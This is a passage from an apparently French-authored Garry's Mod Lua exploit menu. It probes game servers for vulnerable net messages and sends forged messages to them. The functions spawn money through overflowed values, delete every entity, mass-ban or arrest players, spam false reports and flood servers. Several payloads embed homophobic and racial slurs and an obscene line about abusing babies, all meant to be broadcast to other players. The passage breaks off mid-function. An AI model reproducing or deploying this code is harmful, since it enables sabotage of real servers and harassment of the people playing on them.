7283net.SendToServer()
7284net.Start("IS_GetReward_C2S")
7285net.SendToServer()
7286end )
7287end
7288
7289status = ValidNetString("AcceptBailOffer")
7290if (status) then
7291CHATPRINT("Exploit Trouvé : Bail Offer Exploit [AcceptBailOffer]")
7292addExploit( "182","Bail Offer Exploit", "", function()
7293surface.PlaySound("garrysmod/ui_click.wav")
7294NOTIFICATION("Starting")
7295for k,v in pairs(player.GetAll()) do
7296net.Start("AcceptBailOffer")
7297net.WriteEntity(v)
7298net.WriteUInt(-100000000000000000, 16 )
7299net.SendToServer()
7300end
7301end )
7302end
7303
7304status = ValidNetString("CP_Test_Results")
7305if (status) then
7306CHATPRINT("Exploit Trouvé : CP Bypass [CP_Test_Results]")
7307addExploit( "183","CP Bypass", "", function()
7308surface.PlaySound("garrysmod/ui_click.wav")
7309NOTIFICATION("Starting")
7310net.Start("CP_Test_Results")
7311net.WriteInt(1 ,8)
7312net.SendToServer()
7313end )
7314end
7315
7316status = ValidNetString("ReSpawn")
7317if (status) then
7318CHATPRINT("Exploit Trouvé : Respawn #4 [ReSpawn]")
7319addExploit( "184","Respawn #4", "just respawn", function()
7320surface.PlaySound("garrysmod/ui_click.wav")
7321NOTIFICATION("Starting")
7322net.Start("ReSpawn")
7323net.SendToServer()
7324end )
7325end
7326
7327status = ValidNetString("FIGHTCLUB_KickPlayer")
7328if (status) then
7329CHATPRINT("Exploit Trouvé : Fight Club Kick [FIGHTCLUB_KickPlayer]")
7330addExploit( "185","Fight Club Kick", "", function()
7331surface.PlaySound("garrysmod/ui_click.wav")
7332NOTIFICATION("Starting")
7333for k,v in pairs(player.GetAll()) do
7334net.Start("FIGHTCLUB_KickPlayer")
7335net.WriteBit(v)
7336net.WriteEntity(v)
7337net.SendToServer()
7338end
7339end )
7340end
7341
7342status = ValidNetString("FIGHTCLUB_StartFight")
7343if (status) then
7344CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
7345addExploit( "186","Fight Club Start Fight", "", function()
7346surface.PlaySound("garrysmod/ui_click.wav")
7347NOTIFICATION("Starting")
7348for k,v in pairs(player.GetAll()) do
7349net.Start("FIGHTCLUB_StartFight")
7350net.WriteEntity(v)
7351net.SendToServer()
7352end
7353end )
7354end
7355
7356status = ValidNetString("IveBeenRDMed")
7357if (status) then
7358CHATPRINT("Exploit Trouvé : Fake RDM [IveBeenRDMed]")
7359addExploit( "187","Fake RDM", "", function()
7360surface.PlaySound("garrysmod/ui_click.wav")
7361NOTIFICATION("Starting")
7362for k,v in pairs(player.GetAll()) do
7363net.Start("IveBeenRDMed")
7364net.WriteEntity(v)
7365net.SendToServer()
7366end
7367end )
7368end
7369
7370status = ValidNetString("nCTieUpStart")
7371if (status) then
7372CHATPRINT("Exploit Trouvé : Combine Control Exploit [nCTieUpStart]")
7373addExploit( "188","Combine Control Exploit", "", function()
7374surface.PlaySound("garrysmod/ui_click.wav")
7375NOTIFICATION("Starting")
7376for k,v in pairs(ents.GetAll()) do
7377net.Start("nCTieUpStart")
7378net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7379net.SendToServer()
7380end
7381end )
7382end
7383
7384status = ValidNetString("DestroyTable")
7385if (status) then
7386CHATPRINT("Exploit Trouvé : Fuck All [DestroyTable]")
7387addExploit( "189","Fuck All", "discovered by Leith", function()
7388surface.PlaySound("garrysmod/ui_click.wav")
7389NOTIFICATION("Starting")
7390for k,v in pairs(ents.GetAll()) do
7391net.Start("DestroyTable")
7392net.WriteEntity(v)
7393net.SendToServer()
7394end
7395end )
7396end
7397
7398status = ValidNetString("start_wd_hack")
7399if (status) then
7400CHATPRINT("Exploit Trouvé : Hack Phone Exploit [start_wd_hack]")
7401addExploit( "190","Hack Phone Exploit", "", function()
7402surface.PlaySound("garrysmod/ui_click.wav")
7403NOTIFICATION("Starting")
7404net.Start("start_wd_hack")
7405net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7406net.SendToServer()
7407end )
7408end
7409
7410status = ValidNetString("bringNfreeze")
7411if (status) then
7412CHATPRINT("Exploit Trouvé : Ban Exploit [bringNfreeze]")
7413addExploit( "191","Ban Exploit", "", function()
7414surface.PlaySound("garrysmod/ui_click.wav")
7415NOTIFICATION("Starting")
7416for k,v in pairs(player.GetAll()) do
7417net.Start('bringNfreeze')
7418net.WriteEntity(self)
7419net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7420net.SendToServer()
7421end
7422end )
7423end
7424
7425status = ValidNetString("JoinFirstSS")
7426if (status) then
7427CHATPRINT("Exploit Trouvé : Join First SS [JoinFirstSS]")
7428addExploit( "192","Join First SS", "", function()
7429surface.PlaySound("garrysmod/ui_click.wav")
7430NOTIFICATION("Starting")
7431net.Start("JoinFirstSS")
7432net.WriteEntity(LocalPlayer())
7433net.SendToServer()
7434end )
7435end
7436
7437status = ValidNetString("unarrestPerson")
7438if (status) then
7439CHATPRINT("Exploit Trouvé : Unarrest Person [unarrestPerson]")
7440addExploit( "193","Unarrest Person", "", function()
7441surface.PlaySound("garrysmod/ui_click.wav")
7442NOTIFICATION("Starting")
7443for k,v in pairs(player.GetAll()) do
7444net.Start("unarrestPerson")
7445net.WriteEntity(v)
7446net.SendToServer()
7447end
7448end )
7449end
7450
7451status = ValidNetString("giveArrestReason")
7452if (status) then
7453CHATPRINT("Exploit Trouvé : Give Arrest Reason [giveArrestReason]")
7454addExploit( "194","Give Arrest Reason", "", function()
7455surface.PlaySound("garrysmod/ui_click.wav")
7456NOTIFICATION("Starting")
7457for k,v in pairs(player.GetAll()) do
7458net.Start("giveArrestReason")
7459net.WriteEntity(LocalPlayer())
7460net.WriteEntity(v)
7461net.WriteString("Faggot")
7462net.SendToServer()
7463end
7464end )
7465end
7466
7467status = ValidNetString("sellitem")
7468if (status) then
7469CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
7470addExploit( "195","Argent Gratuite #24", "", function()
7471surface.PlaySound("garrysmod/ui_click.wav")
7472NOTIFICATION("Starting")
7473net.Start("sellitem")
7474net.WriteString(self)
7475net.WriteEntity(LocalPlayer())
7476net.SendToServer()
7477end )
7478end
7479
7480status = ValidNetString("createFaction")
7481if (status) then
7482CHATPRINT("Exploit Trouvé : Create Faction [createFaction]")
7483addExploit( "196","Create Faction", "", function()
7484surface.PlaySound("garrysmod/ui_click.wav")
7485NOTIFICATION("Starting")
7486for k,v in pairs(player.GetAll()) do
7487net.Start("createFaction")
7488net.WriteEntity(v)
7489net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
7490net.SendToServer()
7491end
7492end )
7493end
7494
7495status = ValidNetString("inviteToOrganization")
7496if (status) then
7497CHATPRINT("Exploit Trouvé : Faction Invite All [inviteToOrganization]")
7498addExploit( "197","Faction Invite All", "", function()
7499surface.PlaySound("garrysmod/ui_click.wav")
7500NOTIFICATION("Starting")
7501for k,v in pairs(player.GetAll()) do
7502net.Start("inviteToOrganization")
7503net.WriteEntity(v)
7504net.WriteEntity(LocalPlayer())
7505net.SendToServer()
7506end
7507end )
7508end
7509
7510status = ValidNetString("GovStation_SpawnVehicle")
7511if (status) then
7512CHATPRINT("Exploit Trouvé : Gov Spawn [GovStation_SpawnVehicle]")
7513addExploit( "198","Gov Spawn", "", function()
7514surface.PlaySound("garrysmod/ui_click.wav")
7515NOTIFICATION("Starting")
7516for k,v in pairs(ents.GetAll()) do
7517net.Start("GovStation_SpawnVehicle")
7518net.WriteString("GOV_POLICE")
7519net.SendToServer()
7520end
7521end )
7522end
7523
7524status = ValidNetString("GiveWeapon")
7525if (status) then
7526CHATPRINT("Exploit Trouvé : Give Weapons #3 [GiveWeapon]")
7527addExploit( "199","Give Weapons #3", "get weapons", function()
7528surface.PlaySound("garrysmod/ui_click.wav")
7529NOTIFICATION("Starting")
7530net.Start("GiveWeapon")
7531net.WriteEntity(LocalPlayer())
7532net.WriteString("m9k_davy_crockett")
7533net.WriteFloat(0)
7534net.SendToServer()
7535end )
7536end
7537
7538status = ValidNetString("DailyLoginClaim")
7539if (status) then
7540CHATPRINT("Exploit Trouvé : Daily Login Reward [DailyLoginClaim]")
7541addExploit( "200","Daily Login Reward", "", function()
7542surface.PlaySound("garrysmod/ui_click.wav")
7543NOTIFICATION("Starting")
7544net.Start("DailyLoginClaim")
7545net.SendToServer()
7546end )
7547end
7548
7549status = ValidNetString("DL_AskLogsList")
7550if (status) then
7551CHATPRINT("Exploit Trouvé : Ask Log List [DL_AskLogsList]")
7552addExploit( "201","Ask Log List", "", function()
7553surface.PlaySound("garrysmod/ui_click.wav")
7554NOTIFICATION("Starting")
7555net.Start("DL_AskLogsList")
7556net.SendToServer()
7557end )
7558end
7559
7560status = ValidNetString("DL_StartReport")
7561if (status) then
7562CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
7563addExploit( "202","DL Report Tout Le Monde", "", function()
7564surface.PlaySound("garrysmod/ui_click.wav")
7565NOTIFICATION("Starting")
7566for k,v in pairs(player.GetAll()) do
7567net.Start("DL_StartReport")
7568net.SendToServer()
7569net.Start("DL_ReportPlayer")
7570net.WriteEntity(v)
7571net.WriteString("Hes being a gay faggot plz ban him")
7572net.SendToServer()
7573end
7574end )
7575end
7576
7577status = ValidNetString("sv_saveweapons")
7578if (status) then
7579CHATPRINT("Exploit Trouvé : TTT Weapons Exploit [sv_saveweapons]")
7580addExploit( "203","DL Report Tout Le Monde", "", function()
7581surface.PlaySound("garrysmod/ui_click.wav")
7582NOTIFICATION("Starting")
7583net.Start("sv_saveweapons")
7584net.WriteString("weapon_ttt_rpg")
7585net.WriteString("weapon_ttt_rpg")
7586net.WriteString("eg")
7587net.SendToServer()
7588end )
7589end
7590
7591status = ValidNetString("SpecDM_SendLoadout")
7592if (status) then
7593CHATPRINT("Exploit Trouvé : SpecDM Exploit [SpecDM_SendLoadout]")
7594addExploit( "204","SpecDM Exploit", "", function()
7595surface.PlaySound("garrysmod/ui_click.wav")
7596NOTIFICATION("Starting")
7597net.Start("SpecDM_SendLoadout")
7598net.WriteString("eg")
7599net.WriteString("weapon_ttt_defib")
7600net.SendToServer()
7601end )
7602end
7603
7604status = ValidNetString("PowerRoundsForcePR")
7605if (status) then
7606CHATPRINT("Exploit Trouvé : Power Rounds Force [PowerRoundsForcePR]")
7607addExploit( "205","Power Rounds Force", "", function()
7608surface.PlaySound("garrysmod/ui_click.wav")
7609NOTIFICATION("Starting")
7610net.Start("PowerRoundsForcePR")
7611net.SendToServer()
7612end )
7613end
7614
7615status = ValidNetString("wyozimc_playply")
7616if (status) then
7617CHATPRINT("Exploit Trouvé : Wyozimc Music Exploit [wyozimc_playply]")
7618addExploit( "206","Wyozimc Music Exploit", "", function()
7619surface.PlaySound("garrysmod/ui_click.wav")
7620NOTIFICATION("Starting")
7621for k,v in pairs(player.GetAll()) do
7622net.Start("wyozimc_playply")
7623net.WriteEntity(v)
7624net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
7625net.SendToServer()
7626end
7627end )
7628end
7629
7630status = ValidNetString("SendSteamID")
7631if (status) then
7632CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
7633addExploit( "207","Envoyez Mail's", "", function()
7634surface.PlaySound("garrysmod/ui_click.wav")
7635NOTIFICATION("Starting")
7636for k,v in pairs(player.GetAll()) do
7637net.Start("SendSteamID")
7638net.WriteEntity(v)
7639net.WriteString("Faggot")
7640net.WriteString("Faggot")
7641net.SendToServer()
7642end
7643end )
7644end
7645
7646status = ValidNetString("JB_GiveCubics")
7647if (status) then
7648CHATPRINT("Exploit Trouvé : Give Cubics All [JB_GiveCubics]")
7649addExploit( "208","Give Cubics All", "", function()
7650surface.PlaySound("garrysmod/ui_click.wav")
7651NOTIFICATION("Starting")
7652for k,v in pairs(player.GetAll()) do
7653net.Start("JB_GiveCubics")
7654net.WriteEntity(v)
7655net.WriteInt(math.floor(dwang:GetValue()), 255)
7656net.SendToServer()
7657end
7658end )
7659end
7660
7661status = ValidNetString("JB_SelectWarden")
7662if (status) then
7663CHATPRINT("Exploit Trouvé : Select Warden All [JB_SelectWarden]")
7664addExploit( "209","Select Warden All", "", function()
7665surface.PlaySound("garrysmod/ui_click.wav")
7666NOTIFICATION("Starting")
7667for k,v in pairs(player.GetAll()) do
7668net.Start("JB_SelectWarden")
7669net.WriteEntity(v)
7670net.SendToServer()
7671end
7672end )
7673end
7674
7675status = ValidNetString("RDMReason_Explain")
7676if (status) then
7677CHATPRINT("Exploit Trouvé : RDM Explain [RDMReason_Explain]")
7678addExploit( "210","RDM Explain", "", function()
7679surface.PlaySound("garrysmod/ui_click.wav")
7680NOTIFICATION("Starting")
7681for k,v in pairs(player.GetAll()) do
7682net.Start("RDMReason_Explain")
7683net.WriteTable({id=v, reason=fgt})
7684net.SendToServer()
7685end
7686end )
7687end
7688
7689status = ValidNetString("redirectMsg")
7690if (status) then
7691CHATPRINT("Exploit Trouvé : Redirect Message [redirectMsg]")
7692addExploit( "211","Redirect Message", "", function()
7693surface.PlaySound("garrysmod/ui_click.wav")
7694NOTIFICATION("Starting")
7695net.Start("redirectMsg")
7696net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
7697net.SendToServer()
7698end )
7699end
7700
7701status = ValidNetString("LB_AddBan")
7702if (status) then
7703CHATPRINT("Exploit Trouvé : LB Ban [LB_AddBan]")
7704addExploit( "212","LB Ban", "", function()
7705surface.PlaySound("garrysmod/ui_click.wav")
7706NOTIFICATION("Starting")
7707for k,v in pairs(player.GetAll()) do
7708if v != LocalPlayer() then
7709net.Start("LB_AddBan")
7710net.WriteString("STEAM_0:0:420390928")
7711net.WriteString("fgt")
7712net.SendToServer()
7713end
7714end
7715end )
7716end
7717
7718status = ValidNetString("GET_Admin_MSGS")
7719if (status) then
7720CHATPRINT("Exploit Trouvé : Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
7721addExploit( "213","Brass Admin Chat", "", function()
7722surface.PlaySound("garrysmod/ui_click.wav")
7723NOTIFICATION("Starting")
7724net.Start("GET_Admin_MSGS")
7725net.SendToServer()
7726net.Start("OPEN_ADMIN_CHAT")
7727net.SendToServer()
7728end )
7729end
7730
7731status = ValidNetString("br_send_pm")
7732if (status) then
7733CHATPRINT("Exploit Trouvé : Brass Email Send All [br_send_pm]")
7734addExploit( "214","Brass Email Send All", "", function()
7735surface.PlaySound("garrysmod/ui_click.wav")
7736NOTIFICATION("Starting")
7737for k,v in pairs(player.GetAll()) do
7738if v != LocalPlayer() then
7739net.Start("br_send_pm")
7740net.WriteString(v)
7741net.WriteString("FGT")
7742net.WriteEntity(v)
7743net.SendToServer()
7744end
7745end
7746end )
7747end
7748
7749status = ValidNetString("LAWYER.BailFelonOut")
7750if (status) then
7751CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
7752addExploit( "215","Bail Felon Out", "", function()
7753surface.PlaySound("garrysmod/ui_click.wav")
7754NOTIFICATION("Starting")
7755net.Start("LAWYER.BailFelonOut")
7756net.WriteString("1")
7757net.WriteString("fgt")
7758net.SendToServer()
7759end )
7760end
7761
7762status = ValidNetString("LAWYER.GetBailOut")
7763if (status) then
7764CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
7765addExploit( "216","Get Bail Out", "", function()
7766surface.PlaySound("garrysmod/ui_click.wav")
7767NOTIFICATION("Starting")
7768net.Start("LAWYER.GetBailOut")
7769net.WriteString("Mick")
7770net.WriteString("Mick")
7771net.WriteString("1000000")
7772net.SendToServer()
7773end )
7774end
7775
7776status = ValidNetString("GrabMoney")
7777if (status) then
7778CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
7779addExploit( "217","Get Bail Out", "", function()
7780surface.PlaySound("garrysmod/ui_click.wav")
7781NOTIFICATION("Starting")
7782for k,v in pairs(ents.GetAll()) do
7783if v:GetClass() == "gold" then
7784if v:GetClass() == "silver" then
7785if v:GetClass() == "vip" then
7786if v:GetClass() == "vipgold" then
7787net.Start("GrabMoney")
7788net.WriteEntity(LocalPlayer())
7789net.SendToServer()
7790end
7791end
7792end
7793end
7794end
7795end )
7796end
7797
7798status = ValidNetString("nox_addpremadepunishment")
7799if (status) then
7800CHATPRINT("Exploit Trouvé : Nox Ban [nox_addpremadepunishment]")
7801addExploit( "218","Nox Ban", "", function()
7802surface.PlaySound("garrysmod/ui_click.wav")
7803NOTIFICATION("Starting")
7804for k,v in pairs(player.GetAll()) do
7805if v != LocalPlayer() then
7806net.Start("nox_addpremadepunishment")
7807net.WriteEntity("Sun")
7808net.WriteUInt(2, 8)
7809net.SendToServer()
7810end
7811end
7812end )
7813end
7814
7815status = ValidNetString("NET_CR_TakeStoredMoney")
7816if (status) then
7817CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
7818addExploit( "219","Steal Registry Money", "", function()
7819surface.PlaySound("garrysmod/ui_click.wav")
7820NOTIFICATION("Starting")
7821for k,v in pairs(ents.GetAll()) do
7822if v:GetClass() == "ss_cash_registry" then
7823net.Start('NET_CR_TakeStoredMoney')
7824net.WriteEntity("ss_cash_registry")
7825net.WriteEntity(LocalPlayer())
7826net.SendToServer()
7827end
7828end
7829end )
7830end
7831
7832status = ValidNetString("HV_AmmoBuy")
7833if (status) then
7834CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
7835addExploit( "220","HV Munitions Gratuites", "", function()
7836surface.PlaySound("garrysmod/ui_click.wav")
7837NOTIFICATION("Starting")
7838net.Start("HV_AmmoBuy")
7839net.WriteFloat("2")
7840net.SendToServer()
7841net.Start("HV_AmmoBuy")
7842net.WriteFloat("1")
7843net.SendToServer()
7844end )
7845end
7846
7847status = ValidNetString("hitcomplete")
7848if (status) then
7849CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
7850addExploit( "221","Super RP Hit", "", function()
7851surface.PlaySound("garrysmod/ui_click.wav")
7852NOTIFICATION("Starting")
7853for k,v in pairs(player.GetAll()) do
7854if v != LocalPlayer() then
7855net.Start("hitcomplete")
7856net.WriteEntity(v)
7857net.SendToServer()
7858end
7859end
7860end )
7861end
7862
7863status = ValidNetString("SyncRemoveAction")
7864if (status) then
7865CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
7866addExploit( "222","Remove All", "", function()
7867surface.PlaySound("garrysmod/ui_click.wav")
7868NOTIFICATION("Starting")
7869for k,v in pairs(ents.GetAll()) do
7870net.Start("SyncRemoveAction")
7871net.WriteEntity(v)
7872net.SendToServer()
7873end
7874end )
7875end
7876
7877status = ValidNetString("TMC_NET_MakePlayerWanted")
7878if (status) then
7879CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
7880addExploit( "223","Make All Wanted", "", function()
7881surface.PlaySound("garrysmod/ui_click.wav")
7882NOTIFICATION("Starting")
7883for k,v in pairs(player.GetAll()) do
7884net.Start("TMC_NET_MakePlayerWanted")
7885net.WriteString("bad")
7886net.WriteString("bad")
7887net.SendToServer()
7888end
7889end )
7890end
7891
7892status = ValidNetString("thiefnpc")
7893if (status) then
7894CHATPRINT("Exploit Trouvé : Thief NPC [thiefnpc]")
7895addExploit( "224","Thief NPC", "", function()
7896surface.PlaySound("garrysmod/ui_click.wav")
7897NOTIFICATION("Starting")
7898net.Start('thiefnpc')
7899net.WriteDouble(-99999999999999999)
7900net.SendToServer()
7901end )
7902end
7903
7904status = ValidNetString("TMC_NET_FirePlayer")
7905if (status) then
7906CHATPRINT("Exploit Trouvé : Fire Player [TMC_NET_FirePlayer]")
7907addExploit( "225","Fire Player", "", function()
7908surface.PlaySound("garrysmod/ui_click.wav")
7909NOTIFICATION("Starting")
7910net.Start("TMC_NET_FirePlayer")
7911net.WriteString("Paypal")
7912net.SendToServer()
7913end )
7914end
7915
7916status = ValidNetString("updateLaws")
7917if (status) then
7918CHATPRINT("Exploit Trouvé : Update Laws [updateLaws]")
7919addExploit( "226","Update Laws", "", function()
7920surface.PlaySound("garrysmod/ui_click.wav")
7921NOTIFICATION("Starting")
7922net.Start("updateLaws")
7923net.WriteString("Bitch")
7924net.SendToServer()
7925end )
7926end
7927
7928status = ValidNetString("LotteryMenu")
7929if (status) then
7930CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
7931addExploit( "227","Argent Gratuite #25", "", function()
7932surface.PlaySound("garrysmod/ui_click.wav")
7933NOTIFICATION("Starting")
7934net.Start("LotteryMenu")
7935net.WriteEntity(LocalPlayer())
7936net.WriteInt(1000000000000000000, 16)
7937net.SendToServer()
7938end )
7939end
7940
7941status = ValidNetString("soundArrestCommit")
7942if (status) then
7943CHATPRINT("Exploit Trouvé : Sound Arrest [soundArrestCommit]")
7944addExploit( "228","Sound Arrest", "", function()
7945surface.PlaySound("garrysmod/ui_click.wav")
7946NOTIFICATION("Starting")
7947net.Start("soundArrestCommit")
7948net.WriteString("Shit")
7949net.SendToServer()
7950end )
7951end
7952
7953status = ValidNetString("hoverboardpurchase")
7954if (status) then
7955CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
7956addExploit( "229","Hover Board", "", function()
7957surface.PlaySound("garrysmod/ui_click.wav")
7958NOTIFICATION("Starting")
7959net.Start("hoverboardpurchase")
7960net.WriteInt(8, 32)
7961net.SendToServer()
7962end )
7963end
7964
7965status = ValidNetString("SpawnProtection")
7966if (status) then
7967CHATPRINT("Exploit Trouvé : Off Spawn Protection [SpawnProtection]")
7968addExploit( "230","Off Spawn Protection", "", function()
7969surface.PlaySound("garrysmod/ui_click.wav")
7970NOTIFICATION("Starting")
7971net.Start("SpawnProtection")
7972net.WriteFloat(0)
7973net.SendToServer()
7974end )
7975end
7976
7977status = ValidNetString("NPCShop_BuyItem")
7978if (status) then
7979CHATPRINT("Exploit Trouvé : NPC Shop [NPCShop_BuyItem]")
7980addExploit( "231","NPC Shop", "", function()
7981surface.PlaySound("garrysmod/ui_click.wav")
7982NOTIFICATION("Starting")
7983net.Start("NPCShop_BuyItem")
7984net.WriteString("weapon_hack_phone")
7985net.SendToServer()
7986end )
7987end
7988
7989status = ValidNetString("CubeRiot CaptureZone Update")
7990if (status) then
7991CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
7992addExploit( "232","CubeRiot Exploit", "", function()
7993surface.PlaySound("garrysmod/ui_click.wav")
7994NOTIFICATION("Starting")
7995net.Start("CubeRiot CaptureZone Update")
7996net.WriteUInt( 1, 8 )
7997net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7998net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7999net.SendToServer()
8000end )
8001end
8002
8003status = ValidNetString("deposit")
8004if (status) then
8005CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
8006addExploit( "233","Argent Gratuite #26", "", function()
8007surface.PlaySound("garrysmod/ui_click.wav")
8008NOTIFICATION("Starting")
8009net.Start("deposit")
8010net.WriteString("-10000000000000000000000")
8011net.SendToServer()
8012end )
8013end
8014
8015status = ValidNetString("AcceptRequest")
8016if (status) then
8017CHATPRINT("Exploit Trouvé : Call Exploit [AcceptRequest]")
8018addExploit( "234","Call Exploit", "", function()
8019surface.PlaySound("garrysmod/ui_click.wav")
8020NOTIFICATION("Starting")
8021for k,v in pairs(player.GetAll()) do
8022net.Start("AcceptRequest")
8023net.WriteEntity(v)
8024net.SendToServer()
8025end
8026end )
8027end
8028
8029status = ValidNetString("Chess ClientWager")
8030if (status) then
8031CHATPRINT("Exploit Trouvé : Chess Exploit [Chess ClientWager | Chess ClientResign]")
8032addExploit( "235","Chess Exploit", "", function()
8033surface.PlaySound("garrysmod/ui_click.wav")
8034NOTIFICATION("Starting")
8035net.Start("Chess ClientWager")
8036net.WriteUInt( -999999999999999999999999999, 24 )
8037net.SendToServer()
8038net.Start("Chess ClientResign")
8039net.SendToServer()
8040end )
8041end
8042
8043status = ValidNetString("netOrgVoteInvite_Server")
8044if (status) then
8045CHATPRINT("Exploit Trouvé : Org Invite All [netOrgVoteInvite_Server]")
8046addExploit( "236","Org Invite All", "", function()
8047surface.PlaySound("garrysmod/ui_click.wav")
8048NOTIFICATION("Starting")
8049for k,v in pairs(player.GetAll()) do
8050net.Start("netOrgVoteInvite_Server")
8051net.WriteEntity(v)
8052net.SendToServer()
8053end
8054end )
8055end
8056
8057
8058status = ValidNetString("donatorshop_itemtobuy")
8059if (status) then
8060CHATPRINT("Exploit Trouvé : Donator Box Exploit [donatorshop_itemtobuy]")
8061addExploit( "237","Donator Box Exploit", "", function()
8062surface.PlaySound("garrysmod/ui_click.wav")
8063NOTIFICATION("Starting")
8064net.Start("donatorshop_itemtobuy")
8065net.WriteString("DonatorShopBuyTripwire")
8066net.SendToServer()
8067end )
8068end
8069
8070status = ValidNetString("AskPickupItemInv")
8071if (status) then
8072CHATPRINT("Exploit Trouvé : Ask Item [AskPickupItemInv]")
8073addExploit( "238","Ask Item", "", function()
8074surface.PlaySound("garrysmod/ui_click.wav")
8075NOTIFICATION("Starting")
8076for k,v in pairs(player.GetAll()) do
8077net.Start("AskPickupItemInv")
8078net.WriteUInt(4,16)
8079net.WriteUInt(1,16)
8080net.SendToServer()
8081end
8082end )
8083end
8084
8085status = ValidNetString("buy_bundle")
8086if (status) then
8087CHATPRINT("Exploit Trouvé : Buy Bundle [buy_bundle]")
8088addExploit( "239","Buy Bundle", "", function()
8089surface.PlaySound("garrysmod/ui_click.wav")
8090NOTIFICATION("Starting")
8091net.Start("buy_bundle")
8092net.WriteFloat(1, 16)
8093net.SendToServer()
8094end )
8095end
8096
8097status = ValidNetString("LawyerOfferBail")
8098if (status) then
8099CHATPRINT("Exploit Trouvé : Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8100addExploit( "240","Lawyer Off Bail", "", function()
8101surface.PlaySound("garrysmod/ui_click.wav")
8102NOTIFICATION("Starting")
8103for k,v in pairs(player.GetAll()) do
8104net.Start("LawyerOfferBail")
8105net.WriteEntity(v)
8106net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8107net.SendToServer()
8108net.Start("AcceptBailOffer")
8109net.WriteEntity(v)
8110net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8111net.SendToServer()
8112end
8113end )
8114end
8115
8116status = ValidNetString("MineServer")
8117if (status) then
8118CHATPRINT("Exploit Trouvé : Lagger #22 [MineServer]")
8119addExploit( "241","Lagger #22", "lags", function()
8120surface.PlaySound("garrysmod/ui_click.wav")
8121NOTIFICATION("Starting")
8122for i = 0, 100 do
8123for k,v in pairs(player.GetAll()) do
8124net.Start("MineServer",true)
8125net.WriteString("sell")
8126net.WriteEntity(v)
8127net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8128net.SendToServer()
8129end
8130end
8131end )
8132end
8133
8134status = ValidNetString("Gb_gasstation_BuyGas")
8135if (status) then
8136CHATPRINT("Exploit Trouvé : Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8137addExploit( "242","Ukrainian gas", "", function()
8138surface.PlaySound("garrysmod/ui_click.wav")
8139NOTIFICATION("Starting")
8140net.Start("Gb_gasstation_BuyGas")
8141net.SendToServer()
8142net.Start("Gb_gasstation_BuyJerrycan")
8143net.SendToServer()
8144end )
8145end
8146
8147status = ValidNetString("D3A_CreateOrg")
8148if (status) then
8149CHATPRINT("Exploit Trouvé : D3A Create Org [D3A_CreateOrg]")
8150addExploit( "243","D3A Create Org", "", function()
8151surface.PlaySound("garrysmod/ui_click.wav")
8152NOTIFICATION("Starting")
8153net.Start("D3A_CreateOrg")
8154net.WriteString('969690485273489312467812367128312312314')
8155net.WriteString('123712983712984571298712398')
8156net.WriteString("255 255 255")
8157net.SendToServer()
8158end )
8159end
8160
8161status = ValidNetString("Shop_buy")
8162if (status) then
8163CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
8164addExploit( "244","SUP Buy Armor", "", function()
8165surface.PlaySound("garrysmod/ui_click.wav")
8166NOTIFICATION("Starting")
8167net.Start("Shop_buy")
8168net.WriteString("Armor")
8169net.SendToServer()
8170end )
8171end
8172
8173status = ValidNetString("LawsToServer")
8174if (status) then
8175CHATPRINT("Exploit Trouvé : SUP New Laws [LawsToServer]")
8176addExploit( "245","SUP New Laws", "", function()
8177surface.PlaySound("garrysmod/ui_click.wav")
8178NOTIFICATION("Starting")
8179net.Start("LawsToServer")
8180net.WriteString("FAGGOTS")
8181net.SendToServer()
8182end )
8183end
8184
8185status = ValidNetString("D3A_Message")
8186if (status) then
8187CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
8188addExploit( "246","D3A Message", "", function()
8189surface.PlaySound("garrysmod/ui_click.wav")
8190NOTIFICATION("Starting")
8191local stuff = {
8192
8193}
8194net.Start("D3A_Message")
8195net.WriteString("FAGGOTS")
8196net.WriteTable(stuff)
8197net.SendToServer()
8198end )
8199end
8200
8201status = ValidNetString("misswd_accept")
8202if (status) then
8203CHATPRINT("Exploit Trouvé : Misswd Accept [misswd_accept]")
8204addExploit( "247","Misswd Accept", "", function()
8205surface.PlaySound("garrysmod/ui_click.wav")
8206NOTIFICATION("Starting")
8207for k,v in pairs(player.GetAll()) do
8208for i = 0, 100 do
8209net.Start("misswd_accept")
8210net.WriteEntity(v)
8211net.SendToServer()
8212end
8213end
8214end )
8215end
8216
8217status = ValidNetString("ScannerMenu")
8218if (status) then
